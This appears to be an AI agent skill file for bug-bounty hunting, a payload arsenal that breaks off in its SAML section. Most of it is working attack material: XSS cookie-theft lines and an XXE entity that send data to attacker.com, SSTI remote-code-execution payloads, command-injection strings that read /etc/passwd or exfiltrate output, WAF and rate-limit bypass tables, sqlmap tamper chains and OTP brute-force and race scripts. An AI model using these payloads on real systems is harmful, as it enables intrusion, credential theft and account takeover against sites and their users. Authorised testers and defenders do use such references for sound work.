| name | security-arsenal |
| description | Security payloads, bypass tables, wordlists, gf pattern names, always-rejected bug list, and conditionally-valid-with-chain table. Use when you need specific payloads for XSS/SSRF/SQLi/XXE/NoSQLi/command injection/SSTI/IDOR/path-traversal/HTTP smuggling/WebSocket/MFA bypass, bypass techniques, or to check if a finding is submittable. Also use when asked about what NOT to submit. |
SECURITY ARSENAL
Payloads, bypass tables, wordlists, and submission rules.
XSS PAYLOADS
Basic Probes
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)
Cookie Theft (proof of impact)
<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>
CSP Bypass Techniques
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">
<script nonce="NONCE_FROM_PAGE">alert(1)</script>
{{constructor.constructor('alert(1)')()}}
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>
DOM XSS Sources and Sinks
location.hash
location.search
location.href
document.referrer
window.name
document.URL
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE)
setTimeout(SOURCE, ...)
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE
element.href = SOURCE
location.href = SOURCE
SSRF PAYLOADS
Cloud Metadata
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Internal Service Fingerprinting
http://localhost:6379
http://localhost:9200
http://localhost:27017
http://localhost:8080
http://localhost:2375
http://localhost:10.96.0.1:443
SSRF IP Bypass Payloads
http://2130706433
http://0177.0.0.1
http://0x7f.0x0.0x0.0x1
http://127.1
http://[::1]
http://[::ffff:127.0.0.1]
http://[::ffff:0x7f000001]
http://allowed-domain.com/redirect?to=http://169.254.169.254/
SQL INJECTION PAYLOADS
Detection
'
''
`
')
'))
' OR '1'='1
' OR 1=1
' OR 1=1#
' UNION SELECT NULL
'; WAITFOR DELAY '0:0:5'-- -- MSSQL time-based
'; SELECT SLEEP(5)
' OR SLEEP(5)--
Union-Based (determine column count)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL
Blind SQLi (time-based confirmation)
# MySQL
' AND SLEEP(5)--
# PostgreSQL
' AND pg_sleep(5)
# MSSQL
'; WAITFOR DELAY '0:0:5'--
# Oracle
' AND 1=dbms_pipe.receive_message('a',5)
WAF Bypass
* FROM users
SELECT * FROM users
SeLeCt * FrOm uSeRs
%27 OR %271%27=%271
ʼ OR ʼ1ʼ=ʼ1
XXE PAYLOADS
Classic File Read
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
Blind OOB via HTTP (DNS confirmation)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net/xxe">]>
<foo>&xxe;</foo>
Blind OOB via DNS + Data Exfil
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
%param1;
]>
<foo>&exfil;</foo>
XXE via DOCX/SVG/PDF Upload
- SVG:
<image href="file:///etc/passwd" />
- DOCX: malicious XML in
word/document.xml with external entity
PATH TRAVERSAL PAYLOADS
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
/etc/passwd%00.jpg
....\/....\/etc/passwd
IDOR / AUTH BYPASS PAYLOADS
Horizontal Privilege Escalation
GET /api/user/123/profile → GET /api/user/124/profile
GET /api/profile/a1b2c3d4-... → GET /api/profile/e5f6g7h8-...
PUT /api/user/123 (protected) → DELETE /api/user/123 (not protected)
GET /v2/users/123 (protected) → GET /v1/users/123 (not protected)
GET /api/orders → GET /api/orders?user_id=456
Vertical Privilege Escalation
POST /api/user/update
{"role": "admin"}
{"isAdmin": true}
{"admin": 1}
<input type="hidden" name="admin" value="true">
{"query": "{ __schema { types { name fields { name } } } }"}
AUTHENTICATION BYPASS PAYLOADS
JWT Attacks
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"sub":"1","role":"admin"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."
hashcat -a 0 -m 16500 jwt.txt ~/wordlists/rockyou.txt
OAuth Attacks
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
NOSQL INJECTION PAYLOADS (MongoDB)
Operator Injection (JSON body)
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": "admin", "password": {"$gt": ""}}
{"$where": "this.username == 'admin'"}
{"username": {"$in": ["admin", "root", "administrator"]}}
GET Parameter Injection
/login?username[$ne]=null&password[$ne]=null
/login?username[$regex]=.*&password[$regex]=.*
/login?username=admin&password[$gt]=
Auth Bypass One-Liners
curl -s -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'
COMMAND INJECTION PAYLOADS
Basic Detection
; id
| id
` id `
$(id)
&& id
|| id
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
Blind OOB (out-of-band confirmation)
; curl https://attacker.burpcollaborator.net
; nslookup attacker.burpcollaborator.net
$(nslookup attacker.burpcollaborator.net)
`ping -c 1 attacker.burpcollaborator.net`
; wget https://attacker.com/$(id|base64)
Bypass Techniques
;{cat,/etc/passwd}
;cat${IFS}/etc/passwd
;cat$IFS/etc/passwd
;IFS=,;cat,/etc/passwd
;c'a't /etc/passwd
;c"a"t /etc/passwd
;$(printf '\x63\x61\x74') /etc/passwd
;$BASH -c 'id'
;${IFS}id
& dir
| type C:\Windows\win.ini
& ping -n 1 attacker.com
Context-Specific (filename injection)
test.jpg; id
test$(id).jpg
test`id`.jpg
../test.jpg
../../../../../../etc/passwd
SSTI DETECTION PAYLOADS (All Engines)
Universal Probe (send all, observe which evaluate)
{{7*7}} → 49 = Jinja2 (Python) or Twig (PHP)
${7*7} → 49 = Freemarker (Java) or Spring EL
<%= 7*7 %> → 49 = ERB (Ruby) or EJS (Node.js)
#{7*7} → 49 = Mako (Python) or Pebble (Java)
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (not Twig — Twig gives 49)
${"freemarker.template.utility.Execute"?new()("id")} → Freemarker RCE
RCE Payloads by Engine
Jinja2 (Python/Flask/Django):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}
Twig (PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
Freemarker (Java):
${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
ERB (Ruby on Rails):
<%= `id` %>
<%= system("id") %>
<%= IO.popen('id').read %>
Spring Thymeleaf:
${T(java.lang.Runtime).getRuntime().exec('id')}
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
EJS (Node.js):
<%= process.mainModule.require('child_process').execSync('id') %>
Where to Test
Name/bio/username fields, email subject templates, invoice/PDF generators,
URL path parameters reflected in page, error messages, search query reflections,
HTTP headers that appear in rendered responses, notification templates
HTTP SMUGGLING PAYLOADS
CL.TE — Content-Length front-end, Transfer-Encoding back-end
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
TE.CL — Transfer-Encoding front-end, Content-Length back-end
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 3
8
SMUGGLED
0
TE.TE — Both support Transfer-Encoding, obfuscate to disable one
# Obfuscate the TE header so one layer ignores it
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
H2.CL — HTTP/2 front-end with Content-Length injection
# In Burp Repeater, switch to HTTP/2
# Add Content-Length header manually (not auto-set by HTTP/2)
# Front-end ignores CL (HTTP/2 uses :content-length pseudo-header)
# Back-end uses CL → desync
Detection (Burp)
1. Install HTTP Request Smuggler extension
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. All four probe types automatically sent
4. ~10-second timeout on CL.TE probe = back-end waiting = CONFIRMED
Impact Chain
Basic desync → Capture victim's next request → Read their auth token
+ Admin user traffic → Access admin as victim
+ Cache poisoning → Stored XSS at scale for all users
WAF BYPASS REFERENCE
WAF bypass techniques compiled from disclosed bug bounty reports, PortSwigger, PayloadsAllTheThings, and public security research.
Soft Block Detection (200 OK ≠ Bypass)
WAF vendors often return HTTP 200 OK with a block page to confuse attackers:
- Cloudflare JS challenge:
200 OK + cf-challenge-form body
- F5 BIG-IP:
200 OK + "The requested URL was rejected" + Support ID: xxxx
- Imperva:
200 OK + CAPTCHA page + _Incapsula_Resource
- Custom enterprise WAFs:
200 OK + "Your request has been blocked. Log ID: WAF-..."
- AWS + CloudFront custom error pages: may return
200 or 403 depending on config
Verdict system in tools/bypass_403.sh:
| Verdict | Meaning | Action |
|---|
bypassed | Status OK + body diverges from block baseline + no vendor signature | Escalate endpoint |
needs_review | Ambiguous — status looks OK but body unclear | Manual check required |
blocked | Body matches block signature OR length ≈ block baseline | Keep trying |
401 and 500 are POSITIVE bypass signals:
401 Unauthorized = you reached the auth middleware (past WAF edge)
500 Internal Server Error = payload triggered backend exception (SQLi/SSTI lead)
502/503 = you reached origin (WAF forwarded the request)
Block baseline: bypass_403.sh samples the target host with a known-bad XSS payload (/?_waftest=<script>...) before running probes. It stores the block response length. A bypass probe is only confirmed if:
- Status ∈ {200, 201, 204, 301, 302, 401, 500, 502, 503}
- Body does NOT match vendor block signatures
- Body length diverges from block baseline by >5%
WAF Log IDs — also extract them:
| WAF | Log ID Location | Value for Hunting |
|---|
| Cloudflare | CF-Ray: 8a3b...-NRT | PoP code = origin region hint |
| F5 BIG-IP | Body: Support ID: 1234567890123456789 | Timestamp encoded in prefix |
| ModSecurity | Body: [id "942100"] | Rule ID = tells you exactly which rule fired |
| Imperva | Body: incident ID: 12345-6789 | Sequence gap = traffic volume |
| AWS | Header: X-Amzn-Trace-Id: Root=1-<hex-ts>-... | Timestamp in hex |
| Generic | Body: Log ID: WAF-20240512-xxxx | Include in bug report for triage |
Log IDs extracted by tools/bypass_403.sh and tools/waf_response_analyzer.py --classify. Include them in reports — triage can verify directly from internal WAF logs.
403 Bypass Quick Reference
| Category | Technique | Payload Example |
|---|
| IP spoofing | X-Forwarded-For | X-Forwarded-For: 127.0.0.1 |
| IP spoofing | True-Client-IP | True-Client-IP: 127.0.0.1 |
| IP spoofing | CF-Connecting-IP | CF-Connecting-IP: 127.0.0.1 |
| IP spoofing | X-Originating-IP | X-Originating-IP: 127.0.0.1 |
| IP spoofing | X-ProxyUser-Ip | X-ProxyUser-Ip: 127.0.0.1 |
| IP spoofing | Client-IP | Client-IP: 127.0.0.1 |
| IP spoofing | Forwarded RFC 7239 | Forwarded: for=127.0.0.1 |
| IP spoofing | X-Remote-Addr | X-Remote-Addr: 127.0.0.1 |
| IP spoofing | X-Remote-IP | X-Remote-IP: 127.0.0.1 |
| IP spoofing | Via | Via: 1.1 127.0.0.1 |
| URL rewrite | X-Original-URL | X-Original-URL: /admin |
| URL rewrite | X-Rewrite-URL | X-Rewrite-URL: /admin |
| URL rewrite | X-Forwarded-Host | X-Forwarded-Host: localhost |
| URL rewrite | X-Custom-IP-Authorization | X-Custom-IP-Authorization: 127.0.0.1 |
| Method override | X-HTTP-Method-Override | X-HTTP-Method-Override: GET |
| Method tampering | Verb swap | POST /admin, PUT /admin, TRACE /admin |
| Path encoding | URL-encoded slash | /admin/%2e/, /admin%2F |
| Path encoding | Double URL-encoded | /admin/%252e/, /admin%252F |
| Path encoding | Unicode overlong | /admin/%c0%2e/, /admin/%c0%af/ |
| Path tricks | Semicolon | /admin;/, /admin/.;/ |
| Path tricks | Double-dot semicolon | /admin/..;/, /admin..;/ |
| Path tricks | Trailing dot/slash | /admin/., /admin//, /.admin |
| Path tricks | Whitespace | /admin%20, /admin%09, /admin%0a |
| Path tricks | Suffix injection | /admin.json, /admin.html, /admin.css, /admin# |
WAF Fingerprint Signatures
| WAF | Indicator |
|---|
| Cloudflare | cf-ray: header, __cfduid/__cf_bm cookie, "Attention Required" block page |
| AWS WAF | 403 with x-amzn-requestid:, x-amzn-trace-id:, x-amz-cf-id: headers |
| Akamai | akamai-x-* headers, "Access Denied" + reference number block page |
| Imperva/Incapsula | incap_ses_*, visid_incap_* cookies, X-CDN: Imperva |
| ModSecurity | mod_security or NAXSI in 4xx response body |
| F5 BIG-IP ASM | TS01abcdef style cookie, F5-TrafficShield header |
| Barracuda | barra_counter_session cookie |
| Wordfence | "Generated by Wordfence" in block page |
| Sucuri | X-Sucuri-ID header |
Vendor-Specific Bypass Table
| WAF | Bypass Vector | How It Works |
|---|
| Cloudflare | Transfer-Encoding: chunked + X-Forwarded-Host: localhost | Chunked TE confuses CF parser |
| Cloudflare | Origin IP direct connection | Find via crt.sh/Shodan, bypass WAF entirely |
| AWS WAF | SQL comment splitting UN/**/ION SE/**/LECT | Rule-based scanner misses tokenised payload |
| AWS WAF | Oversized body (>8KB) | AWS skips inspection on cheap tier |
| Imperva | Unicode overlong %c0%2e%c0%2e/admin | Decoder mismatch with backend |
| Imperva | Parameter pollution ?id=1&id=2 UNION SELECT | Inspects first value, backend uses last |
| F5 BIG-IP | Double-slash path //admin | Path normalisation difference |
| ModSecurity | Encoding stacking (URL + HTML + unicode) | OWASP CRS misses 3+ layer transforms |
| Akamai | Pragma: akamai-x-cache-on debug headers | Forces cache MISS, exposes uncached path |
Encoding Bypass Reference
| Layer | Original | Encoded | Use Case |
|---|
| URL single | ' | %27 | Standard URL |
| URL double | ' | %2527 | Decoder runs once on edge |
| URL triple | ' | %25252527 | Aggressive proxy chain |
| Unicode JS | ' | ' | XSS in JS context |
| HTML decimal | ' | ' | Reflected XSS in HTML |
| HTML hex | ' | ' | Reflected XSS in HTML |
| SQL comment | SELECT | SE/**/LECT | MySQL/Postgres tokeniser |
| MySQL version | SELECT | /*!50000 SELECT*/ | MySQL-only execution |
| SQL whitespace | | /**/, %0a, %0b, + | Replace space in SQL |
| SQL operator | OR | || | Token-class mismatch |
| SQL operator | = | LIKE | Avoid = token |
| Base64 XSS | alert(1) | <svg onload=eval(atob('YWxlcnQoMSk='))> | Bypass keyword filter |
Generate all variants with: tools/waf_encoder.py "<payload>" --class sqli|xss|generic
Content-Type Confusion
| Technique | Effect |
|---|
| Dual Content-Type headers | Backend picks one, WAF picks the other |
application/json for form data | WAF JSON rules vs form rules differ |
text/plain with JSON body | Many WAFs skip text/plain body inspection |
charset=utf-16le in part | Backend decodes correctly, WAF sees null-byte-padded garbage |
| Boundary case confusion | boundary=x; BOUNDARY=y exploits case-insensitive parser drift |
Multipart Parser Confusion
| Technique | Effect |
|---|
Boundary simplification (boundary=x) | Strips WebKit fingerprint, evades boundary-pattern rules |
Null-byte in boundary (--x\x00) | Some parsers truncate at null, others don't |
Content-Disposition: form-data; name="f"; x=filename="shell.aspx" | Payload hidden in sub-param |
Post-terminator payload (extra part after --x--) | Standard parser ignores, lax parser processes |
Per-part Content-Type: image/jpeg | Content scanner skips binary/image parts |
Duplicate filename= param | Parser picks first value, scanner sees second |
| CRLF/LF mix between parts | Strict-CRLF parser breaks, lenient parser continues |
Generate variants with: tools/multipart_mutator.py --file shell.aspx --field file
Origin Server Discovery (Cloudflare Bypass)
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | jq -r '.[].name_value' | sort -u
shodan search "ssl.cert.subject.cn:$TARGET"
curl -s "https://viewdns.info/iphistory/?domain=$TARGET"
curl --resolve "$TARGET:443:<origin-ip>" "https://$TARGET/admin"
Bypass Decision Tree
Got 403?
├── Run /bypass-403 <url> (17 headers + 15 paths + 6 methods = 38 probes)
│ ├── Hit → escalate the endpoint (may be Security Misconfiguration finding)
│ └── No hit → continue below
├── Fingerprint WAF (in bypass_403.sh output or wafw00f)
│ ├── Cloudflare → origin IP discovery + TE+XFH trick
│ ├── AWS WAF → /**/ comment split + oversized body
│ ├── Imperva → unicode overlong + param pollution
│ └── F5 → double-slash path + strip TS cookie
├── Payload blocked? tools/waf_encoder.py "<payload>" --class sqli|xss
│ └── Try each variant until 200 response
├── Upload endpoint? tools/multipart_mutator.py --file shell --field f
│ └── Try all 10 parser-confusion variants
└── 5 min total, still blocked → kill (5-minute rule)
Junk Character Injection (Disrupt Tokenizers)
WAFs use tokenizers that split on operators/delimiters. Injecting garbage between tokens breaks the token stream while the backend parser ignores the noise:
<script>+-+-1-+-+alert(1)+-+-</script>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(1)>
/?id=1+un/**/ion+sel/**/ect+1,2--
Unicode Normalization (NFKD) XSS
Backend normalizes full-width/Unicode chars to ASCII after WAF inspection:
<img src⁼p onerror⁼'prompt⁽1⁾'﹥
<marquee onstart=pr۰mpt()>
Full-width Unicode characters (U+FF01–U+FF5E) map to ASCII after NFKD normalization. Persian/Arabic digits (۰–۹) can replace Latin digits. Test by sending these and checking if the server normalizes before execution.
IBM037 / EBCDIC Charset Bypass
IIS decodes charset=ibm037 (EBCDIC) in POST bodies. WAFs typically only handle UTF-8/ASCII and skip decoding:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=ibm037
# Body encoded in IBM EBCDIC — WAF cannot read it, IIS decodes it
import urllib.parse
payload = "username=admin&password=test' OR '1'='1"
encoded = payload.encode('ibm037')
Why it works: The WAF only decodes the body as UTF-8. The payload is invisible to pattern matching. IIS (and some other Windows backends) decode IBM037 natively before passing to the application.
JSON/XML Parser Differential (WAFFLED 2025)
JSON — 557 unique bypass variants confirmed against Cloudflare/ModSecurity/GCP Cloud Armor:
# No Content-Type header — some WAFs skip inspection entirely
POST /api/endpoint HTTP/1.1
Host: target.com
# (omit Content-Type)
{"username": "admin' OR '1'='1"}
# Null byte between field name and colon — WAF JSON parser breaks
{"field1"\x00: "payload"}
# Quote replacement (null byte substituted for double quote)
{\x00field1\x00: "value"}
XML — 299 unique bypass variants:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]X>
<foo>&xxe;</foo>
Hop-by-Hop Header Stripping
List headers in Connection: to force intermediate proxies to strip them. If the WAF reads these headers for access decisions BEFORE the proxy strips them, the bypass is achieved:
GET /admin HTTP/1.1
Host: target.com
Connection: X-Forwarded-For, Keep-Alive
X-Forwarded-For: legitimate-IP
The proxy removes X-Forwarded-For before the request reaches the backend. Backend sees no XFF → defaults to allowing. WAF already blocked based on real IP, but now the backend has no IP to check.
Standard hop-by-hop headers (strippable by listing in Connection:):
Connection, Keep-Alive, Proxy-Authenticate, Proxy-Authorization,
TE, Trailer, Transfer-Encoding
Non-standard but often strippable:
Authorization, Cookie, X-Forwarded-For, X-Real-IP
Attack scenario: WAF allows only trusted IPs via X-Forwarded-For. Forge XFF header + list it in Connection: → proxy strips it → backend trusts the request.
NGINX / Backend-Specific Path Bypass Characters
Characters that NGINX passes through but the backend treats as a path terminator/separator, causing access control mismatches:
| Backend | NGINX Version | Bypass Chars | Example |
|---|
| Node.js/Express | 1.22.0+ | \xA0 (NBSP) | /admin\xA0 |
| Node.js/Express | 1.16.1–1.20.2 | \xA0, \x09, \x0C | /admin\x09 |
| Flask/Python | 1.22.0+ | \x85, \xA0 | /admin\x85 |
| Flask/Python | 1.16.1–1.20.2 | \x85,\xA0,\x1F,\x1E,\x1D,\x1C,\x0C,\x0B | /admin\x0B |
| Spring Boot | all | ; (NGINX 1.20.2+), \x09 | /admin; |
| PHP-FPM | any | /index.php path info | /admin.php/index.php |
curl $'https://target.com/admin\xA0'
curl 'https://target.com/admin;'
curl 'https://target.com/admin.php/index.php'
ModSecurity path confusion:
/foo%3f';alert(1);foo= # %3f = ?, confuses path parser
/backup%2ebak # bypasses .bak extension block rule
Spring Boot suffix pattern match (< v5.3):
/admin.anything # matches /admin route (useSuffixPatternMatch=true)
/admin.json
/admin.html
Rate Limit Bypass — Endpoint Variation
Counters are often keyed on exact URL. Small variations reset the counter:
/api/v1/login
/api/v2/login # different version → different counter key
/api/v1/Login # case variation
/api/v1/login/ # trailing slash
/api/v1/login%20 # URL-encoded space (decoded by backend, not by counter)
/api/v1/login?x=1 # added dummy parameter
/api/v1/login#anchor # fragment (ignored by server, resets counter)
Null byte / character variation for email-based counters:
/reset-password?email=victim@test.com%00
/reset-password?email=victim@test.com%0d
/reset-password?email=victim%2b1@test.com # Gmail ignores +alias
/reset-password?email=victim+abc@test.com # Different string, same inbox
Rate Limit Bypass — Protocol-Level Techniques
curl --http2-prior-knowledge -d @requests.txt https://target.com/api/otp
{
attempt1: login(username: "admin", password: "pass1") { token }
attempt2: login(username: "admin", password: "pass2") { token }
attempt3: login(username: "admin", password: "pass3") { token }
}
Timing exploitation:
Window reset attack: burst requests timed to arrive just after rate-limit window resets
→ effectively doubles throughput (burst before reset + burst after)
Slow HTTP: space requests just under detection threshold
→ ffuf -rate 1 -p 5 (1 req/s, 5s pause)
SQLmap Tamper Scripts Reference
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment
sqlmap -u "https://target.com/page?id=1" \
--tamper=between,bluecoat,charencode,randomcase,space2comment \
--random-agent --delay=2 --level=5 --risk=3
Complete tamper reference:
| Script | What It Does | Best For |
|---|
apostrophemask | ' → UTF-8 full-width ' | All |
apostrophenullencode | ' → %00%27 | All |
base64encode | Base64-encode entire payload | All |
between | > → NOT BETWEEN 0 AND | MSSQL/MySQL/Oracle/PG |
bluecoat | space → %09 (tab) | MySQL, BlueCoat SGOS |
chardoubleencode | double URL-encode all chars | All |
charencode | URL-encode all chars | All |
charunicodeencode | %uXXXX encoding | MSSQL/MySQL/ASP.NET |
commalesslimit | LIMIT 2,3 → LIMIT 3 OFFSET 2 | MySQL |
equaltolike | = → LIKE | MSSQL/MySQL |
greatest | > → GREATEST() | MySQL/Oracle/PG |
halfversionedmorekeywords | space → /*!0 | MySQL |
lowercase | all keywords lowercase | All |
modsecurityversioned | AND → /*!12345AND*/ | MySQL + ModSecurity |
modsecurityzeroversioned | AND → /*!0AND*/ | MySQL + ModSecurity |
multiplespaces | single space → multiple spaces | All |
nonrecursivereplacement | union → uniunionon | All |
overlongutf8 | overlong UTF-8 encoding | All |
percentage | select → s%e%l%e%c%t | MSSQL |
randomcase | INSERT → INseRt | All |
randomcomments | insert /**/ randomly | MySQL |
securesphere | append and '0having'='0having' | All |
space2comment | space → /**/ | All |
space2dash | space → --\n | MSSQL/SQLite |
space2hash | space → %23\n | MySQL |
space2mssqlblank | space → random MSSQL blanks | MSSQL |
space2mysqlblank | space → random MySQL blanks | MySQL |
space2plus | space → + | All |
space2randomblank | space → random %09/%0A/%0C/%0D | All |
symboliclogical | AND → %26%26, OR → || | All |
unionalltounion | UNION ALL SELECT → UNION SELECT | All |
unmagicquotes | ' → %bf%27 (GBK multi-byte) | MySQL (magic_quotes) |
uppercase | all keywords uppercase | All |
versionedkeywords | union → /*!union*/ | MySQL |
xforwardedfor | add random X-Forwarded-For header | All |
Pre-built combinations by WAF vendor:
--tamper=modsecurityversioned,modsecurityzeroversioned,space2comment,randomcase
--tamper=space2comment,randomcase,charencode,between
--tamper=between,charencode,chardoubleencode
--tamper=randomcase,space2comment,equaltolike
--tamper=between,bluecoat,charencode,charunicodeencode,equaltolike,greatest,
halfversionedmorekeywords,versionedkeywords,versionedmorekeywords
--tamper=between,charencode,charunicodeencode,equaltolike,space2comment,
space2dash,space2mssqlblank
--tamper=apostrophemask,base64encode,between,chardoubleencode,charencode,
equaltolike,greatest,multiplespaces,nonrecursivereplacement,
percentage,randomcase,space2comment,space2plus,unionalltounion,unmagicquotes
Tool-Specific WAF Evasion Options
ffuf:
ffuf -u https://target.com/FUZZ -w wordlist.txt \
-rate 50 \
-p 0.1-0.5 \
-t 10
ffuf -u https://target.com/FUZZ -w wordlist.txt \
-H "X-Forwarded-For: 127.0.0.1" \
-H "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1)" \
-H "Referer: https://target.com/"
ffuf -u https://target.com/FUZZ -w wordlist.txt \
-fc 403,429 \
-fw 97 \
-fs 512
ffuf -u https://target.com/admin -w ips.txt \
-H "X-Forwarded-For: FUZZ" -mc 200
wfuzz:
wfuzz -z file,wordlist.txt \
--hc 403,429 \
-t 5 \
-s 0.5 \
-H "X-Forwarded-For: 127.0.0.1" \
https://target.com/FUZZ
wfuzz -z file,headers.txt -H "FUZZ" --hc 403 https://target.com/admin
nuclei:
nuclei -u https://target.com \
-rate-limit 10 \
-bulk-size 5 \
-c 5 \
-H "X-Forwarded-For: 127.0.0.1" \
-H "User-Agent: Mozilla/5.0"
nuclei -u https://target.com -t http/technologies/waf-detect.yaml
nuclei -u https://target.com \
-H "Referer: https://target.com/" \
-H "X-Forwarded-For: 127.0.0.1"
Burp Suite Extensions for WAF Bypass
| Extension | Function | Source |
|---|
| nowafpls | Insert junk at cursor (JSON/XML/URL/multipart/GraphQL) to push past WAF inspection limit | assetnote/nowafpls |
| nowafplsV2 | Auto-inject junk for Active Scanner / DAST runs | irwankusuma/nowafplsV2 |
| WAF Bypadd | Pad requests with dummy data to exceed WAF inspection ceiling | PortSwigger/waf-bypadd |
| HTTP Smuggler | CL.TE / TE.CL / TE.TE desync testing | nccgroup/BurpSuiteHTTPSmuggler |
| Hackvertor | In-request encoding transforms (nest URL+HTML+unicode+base64) | PortSwigger BApp Store |
| Param Miner | Discover hidden/undocumented parameters | PortSwigger BApp Store |
| IP Rotate | Rotate source IP via AWS API Gateway | PortSwigger BApp Store |
| Chunked Coding Converter | Transform requests to chunked Transfer-Encoding | BApp Store / c0ny1 |
| SAMLRaider | XSW, signature stripping, XXE in SAML assertions | BApp Store |
WEBSOCKET PAYLOADS
IDOR / Auth Bypass
{"action": "subscribe", "channel": "user_VICTIM_ID_HERE"}
{"action": "get_history", "userId": "VICTIM_UUID"}
{"action": "getProfile", "id": 2}
{"action": "admin.listUsers"}
{"action": "admin.getToken", "userId": "1"}
Cross-Site WebSocket Hijacking (CSWSH)
<script>
var ws = new WebSocket('wss://target.com/ws');
ws.onopen = () => ws.send(JSON.stringify({action:"getProfile"}));
ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data));
</script>
Test Origin Validation
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
wscat -c "wss://target.com/ws" -H "Origin: null"
wscat -c "wss://target.com/ws" -H "Origin: https://target.com.evil.com"
Injection via WS Messages
{"message": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"}
{"action": "search", "query": "' OR 1=1--"}
{"action": "preview", "url": "http://169.254.169.254/latest/meta-data/"}
MFA / 2FA BYPASS PAYLOADS
Pattern 1: OTP Brute Force (no rate limit)
ffuf -u "https://target.com/api/verify-otp" \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"otp":"FUZZ"}' \
-w <(seq -w 000000 999999) \
-fc 400,429 \
-t 5
Pattern 2: OTP Reuse (token not invalidated)
1. Request OTP → receive "123456"
2. Submit OTP correctly → authenticated
3. Log out
4. Log in again
5. Submit same OTP "123456" (expired? still works?)
6. Try OTP from previous session at new login
Pattern 3: Response Manipulation
Step 1: Enter wrong OTP → intercept response in Burp
Step 2: Change: {"success": false, "message": "Invalid OTP"} → {"success": true}
Step 3: Forward modified response → sometimes app trusts it and proceeds
Also try: change status code 401 → 200, or change redirect from /failed to /dashboard
Pattern 4: Code Predictability
import requests, time
for t_offset in range(-30, 31):
totp_value = generate_totp(secret, time.time() + t_offset)
r = requests.post("https://target.com/api/mfa", json={"otp": totp_value})
if r.status_code == 200:
print(f"VALID at offset {t_offset}s: {totp_value}")
break
Pattern 5: Backup Codes Not Rate Limited
Pattern 6: Skip MFA Step (Workflow Bypass)
Pattern 7: Race on MFA Verification
import asyncio, aiohttp
async def verify(session, otp):
async with session.post("https://target.com/api/mfa/verify",
json={"otp": otp}) as r:
return await r.json()
async def race():
async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s:
results = await asyncio.gather(verify(s, "123456"), verify(s, "123456"))
print(results)
asyncio.run(race())
SAML ATTACKS
Attack 1: XML Signature Wrapping (XSW)
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
